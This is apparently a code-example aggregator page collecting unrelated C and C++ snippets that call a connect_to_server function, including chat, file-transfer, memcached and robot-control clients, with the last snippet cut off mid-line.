int main (int argc, char** argv) 
{
	char* hostname;
	char* display;
	char* name;
	short port;
	int sock;
	int reply;
	int rval;
	int protoversion;
	char fullauth = 0;
	Byte opcode = OP_CLOSE;

        if (argc < 2) {
	       puts("Usage: floppyd_installtest [-f] Connect-String\n"
		    "-f\tDo full X-Cookie-Authentication");
	       return -1;
	}

	name = argv[1];
	if (strcmp(name, "-f") == 0) {
		fullauth = 1;
		name = argv[2];
	}

	rval = get_host_and_port(name, &hostname, &display, &port);
	
	if (!rval) return -1;

	sock = connect_to_server(getipaddress(hostname), port);

	if (sock == -1) {
		fprintf(stderr,
			"Can't connect to floppyd server on %s, port %i!\n",
			hostname, port);
		return -1;
	}
	
	protoversion = FLOPPYD_PROTOCOL_VERSION;
	while(1) {
	    reply = authenticate_to_floppyd(fullauth, sock, display,
					    protoversion);
	    if(protoversion == FLOPPYD_PROTOCOL_VERSION_OLD)
		break;
	    if(reply == AUTH_WRONGVERSION) {
		/* fall back on old version */
		protoversion = FLOPPYD_PROTOCOL_VERSION_OLD;
		continue;
	    }
	    break;
	}

	if (reply != 0) {
		fprintf(stderr, 
			"Connection to floppyd failed:\n"
			"%s\n", AuthErrors[reply]);
		return -1;
	}
	
	free(hostname);
	free(display);

	if(write_dword(sock, 1) < 0) {
		fprintf(stderr,
			"Short write to floppyd:\n"
			"%s\n", strerror(errno));
	}

	if(write(sock, &opcode, 1) < 0) {
		fprintf(stderr,
			"Short write to floppyd:\n"
			"%s\n", strerror(errno));
	}

	close(sock);

	return 0;
}
bool Membership::firstJoin()
{
    logFile<<"calling firstJoin"<< std::endl;

    //set my own addr, ip, timeStamp, roundID
    myTimeStamp = time(NULL);
    my_ip_str = getOwnIPAddr();
    
    //now I have my self as member
    addMember( my_ip_str, myTimeStamp );

    bool joined = false;

    Message msg;
    msg.type = MSG_JOIN;
    msg.roundId = -1;

    ipString2Char4(my_ip_str, msg.carrierAdd);

    msg.timeStamp = myTimeStamp;
    msg.TTL = isIntroducer;	//used to distinguish joining node is Introducer or not

    for(int i=0; (i < nodes.size()) /*&& !joined*/ ; i++){
        int connectionToServer;
        //TCP connect to introducer/other nodes
        logFile <<"Join: Connecting to "<< nodes[i].ip_str << "..." << std::endl;

        int ret = connect_to_server(nodes[i].ip_str.c_str(), port + 1, &connectionToServer);
        if(ret!=0)
        {

            logFile <<"ERROR Join: Cannot connect to "<<nodes[i].ip_str<< std::endl;
            if(!isIntroducer){
            	i--;
            	usleep(200*1000);
            }
            continue;
        }
        else{
            ret = write(connectionToServer, &msg, sizeof(Message) );
            
            Message newMsg;
            read(connectionToServer, &newMsg, sizeof(Message));

            int size = newMsg.timeStamp;
            
            Message * msgs = new Message[size];

            int j=0;
            for(j=0; j < size; j++){
                read(connectionToServer, msgs + j, sizeof(Message));
                logFile<<"FirstJoin: received "<<char42String(msgs[j].carrierAdd)<<" "<<msgs[j].timeStamp<< std::endl;
            }

            if(j == size){
                joined = true;
                for(j=0; j < size; j++)
                	addMember(char42String(msgs[j].carrierAdd), msgs[j].timeStamp);
            }
            else{
                std::cout << "Join: Failed downloading nodes list"<< std::endl;
            	logFile   <<"ERROR Join: Failed downloading nodes list"<< std::endl;
            }

            delete [] msgs;
            close(connectionToServer);
        }    
    }

    //printMember();

    return joined;
}
示例#3
0
int main(int argc, char *argv[])
{
    char hostname[BABBLE_BUFFER_SIZE]="127.0.0.1";
    int portno = BABBLE_PORT;

    int opt;
    int nb_args=1;

    char id_str[BABBLE_BUFFER_SIZE];
    bzero(id_str, BABBLE_BUFFER_SIZE);

    
    /* parsing command options */
    while ((opt = getopt (argc, argv, "+hm:p:i:")) != -1){
        switch (opt){
        case 'm':
            strncpy(hostname,optarg,BABBLE_BUFFER_SIZE);
            nb_args+=2;
            break;
        case 'p':
            portno = atoi(optarg);
            nb_args+=2;
            break;
        case 'i':
            strncpy(id_str,optarg,BABBLE_BUFFER_SIZE);
            nb_args+=2;
            break;
        case 'h':
        case '?':
        default:
            display_help(argv[0]);
            return -1;
        }
    }

    if(nb_args != argc){
        display_help(argv[0]);
        return -1;
    }

    if(strlen(id_str)==0){
        printf("Error: client identifier has to be specified with option -i\n");
        return -1;
    }
    else{
        printf("starting new client with id %s\n",id_str);
    }

    /* connecting to the server */
    printf("Babble client connects to %s:%d\n", hostname, portno);
    
    int sockfd = connect_to_server(hostname, portno);

    if(sockfd == -1){
        fprintf(stderr,"ERROR: failed to connect to server\n");
        return -1;
    }
    
    
    unsigned long key = client_login(sockfd, id_str);
    
    if(key == 0){
        fprintf(stderr,"ERROR: login ack\n");
        close(sockfd);
        return -1;
    }

    printf("Client registered with key %lu\n", key);
    
    client_console(sockfd);
    
    close(sockfd);
    
    return 0;
}
示例#4
0
// -------   *   MAIN   *   -------
int main(int argc, char *argv[]) {
  int status = 0;
  struct parsed_url p_url = {{0}};
  int sock = 0;
  int64_t filesize = 0;
  FILE *out_file = NULL;

  // parse args
  if (argc == 3 && strcmp(argv[2], "--debug") == 0)
    DEBUG = 1;
  else if (argc != 2) {
    status = 1;
    fprintf(stderr, "Error: Invalid argument.\n");
    printf("%s URL [--debug]\n    URL: host:port/filename\n\n", argv[0]);
    goto quit;
  }

  if ((status = parse_url(argv[1], &p_url)) != 0) {
    fprintf(stderr, "Error: Failed to parse given URL.\n");
    goto quit;
  }
  // --------


  // open socket
  if (DEBUG) printf("Opening socket...\n");
  if ((sock = socket(PF_INET, SOCK_STREAM, 0)) < 0) {
    fprintf(stderr, "Error: Failed to open stream socket.\n");
    goto quit;
  }
  // --------


  // connect to server
  if (DEBUG) printf("Connecting to server...\n");
  status = connect_to_server(p_url.hostname, p_url.port, sock);
  if (status != 0) {
    fprintf(stderr, "Error: Failed to connect to server.\n");
    goto close_socket;
  }

  // send file request; get status and filesize
  if (DEBUG) printf("Exchanging initial information with server...\n");
  status = exchange_info(p_url.filename, &filesize, sock);
  if (status != 0) {
    if (status == -1)
      fprintf(stderr, "Error: File '%s' not found on server.\n", p_url.filename);
    else if (status == -2)
      fprintf(stderr, "Error: Server is busy, try again later.\n");
    else if (status == -3)
      fprintf(stderr, "Error: Failed to open file '%s' on server.\n", p_url.filename);
    else
      fprintf(stderr, "Error: Failed during initial data exchange with server.\n");
    goto close_socket;
  }
  // --------


  // open file
  if (DEBUG) printf("Opening empty file...\n");
  out_file = fopen(p_url.filename, "w");
  if (out_file == NULL) {
    fprintf(stderr, "Error: Failed to create file '%s' in current working directory.\n", p_url.filename);
    goto close_socket;
  }
  // --------


  // download data to file
  printf("Downloading file...\n");
  status = download_file(sock, out_file, filesize);
  if (status != 0) {
    fprintf(stderr, "Error: Failed to download file.\n");
  }
  else
    printf("Download complete.\n");
  // --------


  // cleanup
  fclose(out_file);
  close_socket:
  close(sock);
  // --------


  quit:
  if (status != 0)
    return EXIT_FAILURE;

  return EXIT_SUCCESS;
}
示例#5
0
/* Warning: qq_connect_later destory all connection
 *  Any function should be care of use qq_data after call this function
 *  Please conside tcp_pending and udp_pending */
gboolean qq_connect_later(gpointer data)
{
	PurpleConnection *gc;
	char *tmp_server;
	int port;
	gchar **segments;
	qq_data *qd;

	gc = (PurpleConnection *) data;
	g_return_val_if_fail(gc != NULL && gc->proto_data != NULL, FALSE);
	qd = (qq_data *) gc->proto_data;
	tmp_server = NULL;

	if (qd->check_watcher > 0) {
		purple_timeout_remove(qd->check_watcher);
		qd->check_watcher = 0;
	}
	qq_disconnect(gc);

	if (qd->redirect_ip.s_addr != 0) {
		/* redirect to new server */
		tmp_server = g_strdup_printf("%s:%d", inet_ntoa(qd->redirect_ip), qd->redirect_port);
		qd->servers = g_list_append(qd->servers, tmp_server);

		qd->curr_server = tmp_server;
		tmp_server = NULL;

		qd->redirect_ip.s_addr = 0;
		qd->redirect_port = 0;
		qd->connect_retry = QQ_CONNECT_MAX;
	}

	if (qd->curr_server == NULL || strlen (qd->curr_server) == 0 || qd->connect_retry <= 0) {
		if ( set_new_server(qd) != TRUE) {
			purple_connection_error_reason(gc,
					PURPLE_CONNECTION_ERROR_NETWORK_ERROR,
					_("Unable to connect"));
			return FALSE;
		}
		qd->connect_retry = QQ_CONNECT_MAX;
	}

	segments = g_strsplit_set(qd->curr_server, ":", 0);
	tmp_server = g_strdup(segments[0]);
	if (NULL != segments[1]) {
		port = atoi(segments[1]);
		if (port <= 0) {
			purple_debug_info("QQ", "Port not define in %s, use default.\n", qd->curr_server);
			port = QQ_DEFAULT_PORT;
		}
	} else {
		purple_debug_info("QQ", "Error splitting server string: %s, setting port to default.\n", qd->curr_server);
		port = QQ_DEFAULT_PORT;
	}

	g_strfreev(segments);

	qd->connect_retry--;
	if ( !connect_to_server(gc, tmp_server, port) ) {
			purple_connection_error_reason(gc,
				PURPLE_CONNECTION_ERROR_NETWORK_ERROR,
				_("Unable to connect"));
	}

	g_free(tmp_server);
	tmp_server = NULL;

	qd->check_watcher = purple_timeout_add_seconds(QQ_CONNECT_CHECK, connect_check, gc);
	return FALSE;	/* timeout callback stops */
}
示例#6
0
WpMain::WpMain():wp_prepare(wp_settings),wp_irc(wp_settings,&wp_prepare)
{

    connect(&wp_prepare, SIGNAL(finished()),
            this, SLOT(connect_to_server()));
}
示例#7
0
int main( int argc, char * argv[] )
{
    // variables and data structures
    const char * server_hostname; // (from command line)
    const char * port_str; // (from command line)
    char filename[FILENAME_BUF_LEN]; // (from command line)
    char op_str[3];
    int socket_fd; // socket for communicating with server
    long int file_len; // length of file sent by server
    unsigned char MD5_hash_server[16]; // array (NOT STRING) holding hex values for MD5 hash from server
    unsigned char * file_buf = NULL;
    unsigned char * MD5_hash_client[16]; // POINTER to array (NOT STRING) holding hex values for MD5 hash from client (self)
    enum OPERATION op = REQ;
    FILE * file = NULL;
    struct timeval time_start;
    struct timeval time_end;
    struct timeval time_elapsed;

    // get information from command line
    analyze_argc(argc, 3, &print_usage);
    server_hostname = argv[1];
    debugprintf("server hostnamename argument: %s", server_hostname);
    port_str = argv[2];
    debugprintf("port argument: %s", port_str);

    // capture start time
    if (gettimeofday(&time_start, NULL) == -1) {
        perror("error getting start time");
        exit(EXIT_FAILURE);
    }
    debugprintf("start time recorded");

    // connect to server
    socket_fd = connect_to_server(server_hostname, port_str);
    if (socket_fd == -1) {
        fprintf(stderr, "failed to connect to server, exiting now\n");
        exit(EXIT_FAILURE);
    }

    // Receive operation input
    while(op != XIT){
      printf("Please enter an operation:\n");
      scanf("%s", &op_str);
      if(strcmp(op_str, "REQ") == 0){
        op = REQ;
        send_operation(socket_fd, op);
      
        // gather file info & send it
        printf("Please enter the name of the file you would like to request:\n");
        scanf("%s", &filename);
        send_file_info(socket_fd, filename);

        // receive file length from server
        long int file_len_net;
        recv_bytes(socket_fd, &file_len_net, sizeof(file_len_net), "file length");
        file_len = file_len_net;
        debugprintf("file length received from server: %ld", file_len);

        // quit if file does not exist on server
        if (file_len == -1) {
            fprintf(stderr, "File does not exists\n");
            close(socket_fd);
            exit(EXIT_SUCCESS);
        }

        // receive MD5 hash from server
        recv_bytes(socket_fd, MD5_hash_server, 16, "MD5 hash");
        debugprintf("MD5 hash received from server");

        // prepare to receive file byte array (packet by packet) from server
        file_buf = (unsigned char *)malloc(file_len * sizeof(unsigned char));
        int i_full_pckt;
        int n_full_pckts = file_len / FILE_PCKT_LEN;
        size_t last_pckt_len = file_len % FILE_PCKT_LEN;
        debugprintf("expecting %d full packets from server (%zu bytes)", n_full_pckts, FILE_PCKT_LEN);
        if (last_pckt_len != 0) {
            debugprintf("last packet will be %zu bytes", last_pckt_len);
        } else {
            debugprintf("no last packet will be received");
        }

        // recieve full packets from server
        for (i_full_pckt = 0; i_full_pckt < n_full_pckts; i_full_pckt++) {
            recv_bytes(socket_fd, &file_buf[i_full_pckt * FILE_PCKT_LEN], FILE_PCKT_LEN, "file packet");
            debugprintf("full packet %d of %d received from server", (i_full_pckt + 1), n_full_pckts);
        }

        // receive last packet from server (if necessary)
        if (last_pckt_len != 0) {
            recv_bytes(socket_fd, &file_buf[n_full_pckts * FILE_PCKT_LEN], last_pckt_len, "last file packet");
            debugprintf("last packet received from server");
        }
        debugprintf("file received from server");

        // create MD5 hash of file
        MD5_hash_of_byte_array(file_buf, file_len, MD5_hash_client);
        debugprintf("MD5 hash created");

        // compare MD5 hashes
        if (cmp_MD5_hash(*MD5_hash_client, MD5_hash_server) != 0) {
            fprintf(stderr, "File hashes do not match – bad transfer\n");
            close(socket_fd);
            exit(EXIT_FAILURE);
        }
        debugprintf("MD5 hashes match"); //TODO: MAKE FAIL!

        // write byte array to file
        file = fopen(filename, "wb");
        size_t write_size = fwrite(file_buf, 1, file_len, file); //return value!
        debugprintf("file created, DONE %d bytes written", write_size);

        // capture end time
        if (gettimeofday(&time_end, NULL) == -1) {
            perror("error getting end time");
            close(socket_fd);
            exit(EXIT_FAILURE);
        }
        debugprintf("end time recorded");

        // calculate and print time difference and throughput
        timersub(&time_end, &time_start, &time_elapsed);
        double seconds_elapsed = time_elapsed.tv_sec + (time_elapsed.tv_usec / 1000000.0);
        double throughput = ((double)file_len / 1048576) / seconds_elapsed;
        printf("%ld bytes transferred in %f sec. Throughput: %f Megabytes/sec. File MD5sum: ", file_len, seconds_elapsed, throughput);
        print_MD5_hash(MD5_hash_client);
        printf("\n");

      } else if(strcmp(op_str, "UPL") == 0){
        op = UPL;
        send_operation(socket_fd, op);
        printf("Please enter the name of the file you would like to upload:\n");
      } else if(strcmp(op_str, "DEL") == 0){
        op = DEL;
        send_operation(socket_fd, op);

        // gather file info & send it
        printf("Please enter the name of the file you would like to delete:\n");
        scanf("%s", &filename);
        send_file_info(socket_fd, filename);
        
        // Listen for if file exists
        uint32_t file_exists_net;
        recv_bytes(socket_fd, &file_exists_net, sizeof(file_exists_net), "operation");
        short int file_exists = ntohs(file_exists_net);

        if(file_exists){
          printf("Are you sure you want to delete %s (Yes/No)?\n", &filename);
          char confirm_str[3];
          scanf("%s", &confirm_str);
          short int confirm;
          if( strcmp(confirm_str, "Yes") == 0 ){
            confirm = 1;  
            debugprintf("file delete sent to client");
          } else {
            confirm = 0;
            printf("Delete abandoned by user!\n");
          } 

          uint32_t confirm_net;
          confirm_net = htons(confirm);
          send_bytes(socket_fd, &confirm_net, sizeof(confirm_net), "confirm delete sent to server");
          if( confirm ){
            recv_bytes(socket_fd, &confirm_net, sizeof(confirm_net), "confirm delete from server");
            confirm = ntohs(confirm_net);
            if( confirm == 0 ){
              printf("File was sucessfully deleted from the server\n");
            } else printf("Error deleting file from the server\n");
          }
          
        } else {
          debugprintf("Server says file does not exist");
        }

      } else if(strcmp(op_str, "LIS") == 0){
        op = LIS;
        send_operation(socket_fd, op);
              
        short int num_files;
        uint32_t num_files_net;        
        recv_bytes(socket_fd, &num_files_net, sizeof(num_files_net), "client receiving num files");
        num_files = ntohs(num_files_net);        
        debugprintf("%d Files in the dir\n", num_files);
        
        int i;
        for(i = 0; i < num_files; i++){
           receive_file_info ( socket_fd, filename);
           printf("%s\n", filename);
        }

      } else if(strcmp(op_str, "XIT") == 0){
        op = XIT;
        send_operation(socket_fd, op);
      }

    }
    close(socket_fd);
    printf("Connection to host closed. Goodbye!\n");
    exit(EXIT_SUCCESS);
}
示例#8
0
int main (){
    init_hardware();
    // init(0);

    int brightnessArray[WIDTH];
    int threshold = 120;
    int generatedArray[WIDTH];
    int errorArray[WIDTH];
    int lagErrorArray[WIDTH];

    int baseSpeed = 35;
    int leftSpeed=baseSpeed;
    int rightSpeed=baseSpeed;

    bool check=true;
    int countrev=0;
    int previousError = 0;
    int derivative = 0.0;
    double kd = 0.00000005;

    bool checkintersection=false;
    int intcount=0;
    int sumError=0;
    int incount=0;
    bool right90=true;
    bool left90=true;
    int stuckCount = 0;
    
    //network
    bool gate = true;
    char ip[14] = "130.195.6.196";
    char message[7];
    int ir_sensor = read_analog(0);
    //connect_to_server(ip,1024);

    double k=0.0008; // constant

    // an array starting from -160 to 160
    int number = -160;
    for(int y=0; y<WIDTH+1; y++){
        generatedArray[y] = number;
        number++;
    }

    int counter = 0;
    int zeroCount = 0;
    while(true){
        take_picture();
	ir_sensor=read_analog(0);
	//display_picture(0.5,0);
	//open_screen_stream();
	//update_screen();
	previousError = sumError;
	sumError=0;
        for(int i=0; i<WIDTH; i++){
            char colour = get_pixel(i, HEIGHT/2, 3);
	    if(colour > threshold){
                brightnessArray[i] = 1;
            } else {
                brightnessArray[i] = 0;
            }
            errorArray[i] = brightnessArray[i] * generatedArray[i];
	     
            sumError += errorArray[i];
        }
        derivative = ((sumError-previousError)/0.000025);//.000025
        printf("Sum error: %d\n",sumError);
	printf("Previous error: %d\n",previousError);


        //90 DEGREE TURNS

        //Right and left 90 Degree turn
        //int nine=0;
	/*
	int turnCounter = 0;
        if(sumError>10000){         //sum should be large as the right hand side(0-160) will be white
            right90=true;
        }else{
            right90=false;
        }
        if(sumError<-10000){    //sum should be very small as the left hand side(0 to -160) will be white
            left90=true;
        }else{
            left90=false;
        }

        if(right90){
            while(turnCounter<25){
                set_motor(0,baseSpeed);
                set_motor(1,-baseSpeed);
		turnCounter++;
            }
        }

        if(left90){
            while(sumError<25){
                set_motor(0,-baseSpeed);
                set_motor(1,baseSpeed);
		turnCounter++;
            }
        }
	turnCounter=0;
	*/


        // calculate speed for left and right motors k has to be small like 0.1

        //INTERSECTION CODE


        //for(int in=0;in<WIDTh;in++){
        //if((birghtnessArray[h])==1){    //Goes through array and because the camera should read all white the sum should have very few 0's
        //checkintersection=true;                     //if it counts 4 blacks then its not an intersection
        //}
        //else if{intcount<4){
        //checkintersection=true;
        //incount++
        //}
        //else if(intcount==4){
        //checkintersection=false;
        //break;
        //}
        //}

        //if(checkintersection){
     	//set_motor(0,45)
        //set_motor(1,45)
        //}


    //}//~~~~~unsure what this is for/what it closes off
        for(int h=0;h<WIDTH;h++){
            if((brightnessArray[h])==0){
                check=false;
            }else if(countrev<4){
                check=false;//this used to be true, changed it to false in case of the last error vlaue.
                countrev++;
            }else if (countrev==4){
                check=true;
                break;
            }/*
            if ((brightnessArray[h])==1){
            	checkintersection=true;
            }else if(intcount<4){
                checkintersection=true;
                incount++;
            }else if(intcount==4){
                checkintersection=false;
                break;
            }*/
        //continue;
        }

	/*for(int i=0; i<WIDTH;i++){
	   if(brightnessArray[i]==1){
	       checkintersection=true;
	   }else if(intcount<1){
	       checkintersection = true;
	       incount++;
	   }else if(intcount==1){
	       checkintersection=false;
               break;
	   }
	}*/

        if(check==true){ // && checkintersection==false){
	   // printf("Kd*d: %i\n",(kd*derivative));
            leftSpeed = baseSpeed + (int)(((k*sumError)-(kd*derivative))); // sumError should be 0 for the robot to go in a straight line
            rightSpeed = baseSpeed - (int)(((k*sumError)+(kd*derivative)));
            printf("K*sum: %d\n",(k*sumError));
	    printf("Derivative: %d\n",derivative);
	    /* if(leftSpeed<baseSpeed){
		leftSpeed = 0
	    } else if(rightSpeed<baseSpeed){
		rightSpeed = 0;
	    }
		*/
            if(leftSpeed > 255){
                leftSpeed = 255;
            }
            else if(leftSpeed < -255){
                leftSpeed = -255;
            }
            if(rightSpeed > 255){
                rightSpeed = 255;
            } else if(leftSpeed < -255){
                rightSpeed = -255;
            }/*
	    if(sumError>6000 || sumError<-6000){
		set_motor(1, baseSpeed);
		set_motor(2, baseSpeed);
	    }*/

	    if(sumError==0 && previousError<0){
		leftSpeed = 0;
		rightSpeed = baseSpeed;
	    }
	    else if(sumError==0 && previousError>0){
		leftSpeed = baseSpeed;
		rightSpeed = 0;
	    }/*else if(sumError==0 && previousError==0){
		set_motor(1, baseSpeed);
		set_motor(2,-baseSpeed);
	    }*/
	    else {
           	set_motor(1, leftSpeed); // Motor 1 is left motor//left
            	set_motor(2, rightSpeed);//right
	    }
	    
            printf("Left Speed = %d, Right Speed =%d\n", leftSpeed, rightSpeed);
	    printf("Sum error: %d\n",sumError);
            Sleep(0, 25000); // sleeps for 50 ms
            counter++;
            if(counter==1000){
                set_motor(1, leftSpeed); // Motor 1 is left motor
                set_motor(2, rightSpeed);
            }
        } else if(check==false){// && checkintersection==false) {
            //int countback=0;
            //while(countback<4){
            set_motor(1,-baseSpeed);
            set_motor(2,-baseSpeed);
            //Sleep(0,5000000);
            //countback++;
            //}
        }/* else if(check==true){
	    set_motor(1,baseSpeed);
	    set_motor(2,baseSpeed);
	    Sleep(3,0);
	    set_motor(1,0);
	    set_motor(2, baseSpeed);
	}*/
        if(gate==true && ir_sensor>200){
           // printf("%d", ir_sensor);
            set_motor(1, 0);
            set_motor(2, 0);
	    connect_to_server(ip, 1024);
            //if(ir_sensor > 1){
                send_to_server("Please");
                receive_from_server(message);
                send_to_server(message);
                //gate = true;
            //}
	    gate=false;
	    Sleep(2,0);
        //might be buggy and need to double check
        //printf("%s", message);
        }
    }
    return 0;
}
示例#9
0
文件: memcached.c 项目: Handy2015/h2o
static void reader_main(h2o_memcached_context_t *ctx)
{
    struct st_h2o_memcached_conn_t conn = {ctx, {}, PTHREAD_MUTEX_INITIALIZER, {&conn.inflight, &conn.inflight}, 0};
    pthread_t writer_thread;
    yrmcds_response resp;
    yrmcds_error err;

    /* connect to server and start the writer thread */
    connect_to_server(conn.ctx, &conn.yrmcds);
    pthread_create(&writer_thread, NULL, writer_main, &conn);

    pthread_mutex_lock(&conn.ctx->mutex);
    ++conn.ctx->num_threads_connected;
    pthread_mutex_unlock(&conn.ctx->mutex);

    /* receive data until an error occurs */
    while (1) {
        if ((err = yrmcds_recv(&conn.yrmcds, &resp)) != YRMCDS_OK) {
            fprintf(stderr, "[lib/common/memcached.c] yrmcds_recv:%s\n", yrmcds_strerror(err));
            break;
        }
        h2o_memcached_req_t *req = pop_inflight(&conn, resp.serial);
        if (req == NULL) {
            fprintf(stderr, "[lib/common/memcached.c] received unexpected serial\n");
            break;
        }
        if (resp.status == YRMCDS_STATUS_OK) {
            req->data.get.value = h2o_iovec_init(h2o_mem_alloc(resp.data_len), resp.data_len);
            memcpy(req->data.get.value.base, resp.data, resp.data_len);
            h2o_mem_set_secure((void *)resp.data, 0, resp.data_len);
        }
        h2o_multithread_send_message(req->data.get.receiver, &req->data.get.message);
    }

    /* send error to all the reqs in-flight */
    pthread_mutex_lock(&conn.mutex);
    while (!h2o_linklist_is_empty(&conn.inflight)) {
        h2o_memcached_req_t *req = H2O_STRUCT_FROM_MEMBER(h2o_memcached_req_t, inflight, conn.inflight.next);
        h2o_linklist_unlink(&req->inflight);
        assert(req->type == REQ_TYPE_GET);
        h2o_multithread_send_message(req->data.get.receiver, &req->data.get.message);
    }
    pthread_mutex_unlock(&conn.mutex);

    /* stop the writer thread */
    __sync_add_and_fetch(&conn.writer_exit_requested, 1);
    pthread_mutex_lock(&conn.ctx->mutex);
    pthread_cond_broadcast(&conn.ctx->cond);
    pthread_mutex_unlock(&conn.ctx->mutex);
    pthread_join(writer_thread, NULL);

    /* decrement num_threads_connected, and discard all the pending requests if no connections are alive */
    pthread_mutex_lock(&conn.ctx->mutex);
    if (--conn.ctx->num_threads_connected == 0) {
        while (!h2o_linklist_is_empty(&conn.ctx->pending)) {
            h2o_memcached_req_t *req = H2O_STRUCT_FROM_MEMBER(h2o_memcached_req_t, pending, conn.ctx->pending.next);
            h2o_linklist_unlink(&req->pending);
            discard_req(req);
        }
    }
    pthread_mutex_unlock(&conn.ctx->mutex);

    /* close the connection */
    yrmcds_close(&conn.yrmcds);
}
示例#10
0
int send_request(char *ipaddr, int port, char *url, 
				 char *content, int content_length,
				 char *resp, int resp_len){
	int sock;
	struct sockaddr_in addr;
	//LOG("ipaddr=%s\n", ipaddr);
	int count = 0;
	do{
		if (-1 == (sock = socket(AF_INET, SOCK_STREAM, 0))){
			LOG("socket error %d\n", errno);
			return -1;
		}

		memset(&addr,0,sizeof(struct sockaddr_in));
		addr.sin_family=AF_INET;
		addr.sin_port=htons(port);
		addr.sin_addr.s_addr=inet_addr(ipaddr);
		
		if(connect_to_server(sock,addr))
		{
		  LOG("cannot connect to server [%s]\n", ipaddr);
		  //close(sock);
			usleep(500);
			close(sock);
		} else {
			break;
		}
		
	} while( count++ < 2);
	if (count > 2){
		LOG("connect failed\n");
		return -2;
	}
	
	struct timeval send_timeout, recv_timeout;
	send_timeout.tv_sec = 5;
	send_timeout.tv_usec = 0;
	recv_timeout.tv_sec = 5;
	recv_timeout.tv_usec = 0;
	setsockopt(sock, SOL_SOCKET, SO_SNDTIMEO, (char *)&send_timeout, sizeof(struct timeval));
	setsockopt(sock, SOL_SOCKET, SO_RCVTIMEO, (char *)&recv_timeout, sizeof(struct timeval));
	
	
	char *header = form_http_header("MagicWiFi", ipaddr, url, content_length);
	int length = strlen(header) + content_length + 1;
	char *request = malloc(length);
	//printf("request=[%s]\n", request);
	if (NULL == request){
		LOG("form request is NULL\n");
		return -3;
	}
	
	//LOG("header[%d]=[%s]\n", length, header);
	
	memset(request, 0, length);
	memcpy(request, header, strlen(header));
	memcpy(request+strlen(header), content, content_length);
	
	LOG("request(%d)=[%s]\n", length, request);
	
	send(sock, request, strlen(request), 0);
	if (header) free(header);
	if (request) free(request);
	
	char response[4096];
	memset(response, 0, sizeof(response));
	resp_len = read(sock, response, 4096);

	if (strlen(response) > 0){
		//LOG("reponse not contain MagicWiFI\n");
		//sleep(1);
		memcpy(resp, response, resp_len);
	}
	close(sock);
	
	return 0;
}
示例#11
0
PRODUCTID_T *ProcessCreateProductID(REQ_CREATE_PRODUCTID_T InQuery, int *ResultCount, int *ErrorCode)
{
	int	SocketFD;
	int	len = 0, idx = 0, i = 0;
	int	Count = InQuery.Count;
	struct timeval tmv;
	fd_set readset;

	char	MsgID;
//	char	ret_stat;
	char	SendBuff[MIN_BUFF_SIZE+1];
	char	ReadBuff[MIN_BUFF_SIZE+1];
	PRODUCTID_T *Data;

	memset(SendBuff, 0, MIN_BUFF_SIZE+1);

	MsgID = MSG_CREATE_PRODUCTID;
	memcpy(SendBuff+idx, &MsgID, sizeof(MsgID));
	idx += sizeof(MsgID);

	sprintf(SendBuff+idx, "%.3s%05d", InQuery.ProductClass, InQuery.Count);
	idx += 8;

	if((SocketFD = connect_to_server(SERVER_IP, SERVER_PORT)) < 0)	{
		printLog(HEAD, "Socket Connection Error.....\n");
		*ErrorCode = SOCKET_WRITE_ERROR;
		*ResultCount = 0;
		free(SendBuff);
		return	(PRODUCTID_T *) NULL;
	}

	if((len = writen(SocketFD, SendBuff, idx)) != idx)	{
		printLog(HEAD, "Write Error...\n");
		*ErrorCode = SOCKET_WRITE_ERROR;
		*ResultCount = 0;
		free(SendBuff);
		return	(PRODUCTID_T *) NULL;
	}

	tmv.tv_sec = READ_TIMEOUT * 4;
	tmv.tv_usec = 0;

	FD_ZERO(&readset);
	FD_SET(SocketFD, &readset);

	if (select(SocketFD+1, &readset, NULL, NULL, &tmv) < 0) {
		printLog(HEAD, "select error\n");
		*ErrorCode = SOCKET_READ_ERROR;
		*ResultCount = 0;
		close(SocketFD);
		return	(PRODUCTID_T *) NULL;
	}
	if (!FD_ISSET(SocketFD, &readset)) {
		printLog(HEAD, "%d sec time out\n", READ_TIMEOUT);
		*ErrorCode = READ_TIMEOUT_ERROR;
		*ResultCount = 0;
		close(SocketFD);
		return	(PRODUCTID_T *) NULL;
	}

	if((len = readn(SocketFD, &MsgID, sizeof(MsgID))) != sizeof(MsgID))	{
		printLog(HEAD, "Read Error...\n");
		*ErrorCode = SOCKET_READ_ERROR;
		*ResultCount = 0;
		close(SocketFD);
		return	(PRODUCTID_T *) NULL;
	}

	if(MsgID == MSG_FAIL_X)	{
		/*
		if((len = readn(SocketFD, &ret_stat, sizeof(ret_stat))) != sizeof(ret_stat))	{
			printLog(HEAD, "Read Error...\n");
			*ErrorCode = SOCKET_READ_ERROR;
			*ResultCount = 0;
			close(SocketFD);
			return	(PRODUCTID_T *) NULL;
		}
		*/
		Count = 0;
		*ErrorCode = MsgID;
	}
	else	{
		if((Data = (PRODUCTID_T *) malloc(sizeof(PRODUCTID_T) * Count)) == NULL)	{
			printLog(HEAD, "Memory Allocation Error..\n");
			*ErrorCode = MALLOCATION_ERROR;
			*ResultCount = 0;
			return	(PRODUCTID_T *) NULL;
		}
		memset(Data, 0, sizeof(PRODUCTID_T) * Count);

		for(i = 0; i < Count; i++)	{
			idx = 0;
			memset(ReadBuff, 0, MIN_BUFF_SIZE+1);
			if((len = readn(SocketFD, ReadBuff, PRODUCTID_SIZE)) != PRODUCTID_SIZE)	{
				printLog(HEAD, "(%d)th Read Error...\n", i+1);
				*ErrorCode = SOCKET_READ_ERROR;
				*ResultCount = 0;
				free(Data);
				close(SocketFD);
				return	(PRODUCTID_T *) NULL;
			}
			memcpy(Data[i].ProductID, ReadBuff+idx, PRODUCTID_SIZE);
			idx++;
		}
	}

	*ResultCount = Count;
	close(SocketFD);

	return	Data;
}
示例#12
0
文件: smp.c 项目: jchrisweaver/smp
// usage: smp <IP address to connect to>
int main( int argc, char** argv )
{
    if ( argc != 2 ) /* argc should be 2 for correct execution */
    {
        printf( "usage:\n\tsmp <ipaddress>\n\tsmp server\n" );
        return EXIT_FAILURE;
    }
    
    int bServerMode = strstr( "server", argv[ 1 ] ) != 0;

    setup();
    
    unsigned char holder[ BUFFER_SIZE ];
    memset( holder, 0x00, BUFFER_SIZE );
    
    if ( !bServerMode )
    {
        // we are talking to the server at ip address argv[ 1 ]
        char input_string[ 256 ];
        printf( "Enter a shared secret: " );
        readLine( input_string, 256 );
        // TESTCODE: strcpy( input_string, "testme" );
        secret = binEncode( input_string, strlen( input_string ) );
        
        /*****************************************************/
        /*****************************************************/
        /*  Do Step 1 and send to other side */
        /*****************************************************/
        /*****************************************************/
        int len = step1( holder, BUFFER_SIZE );
        
        int serverfd = connect_to_server( argv[ 1 ] );
        if ( serverfd == 1 )
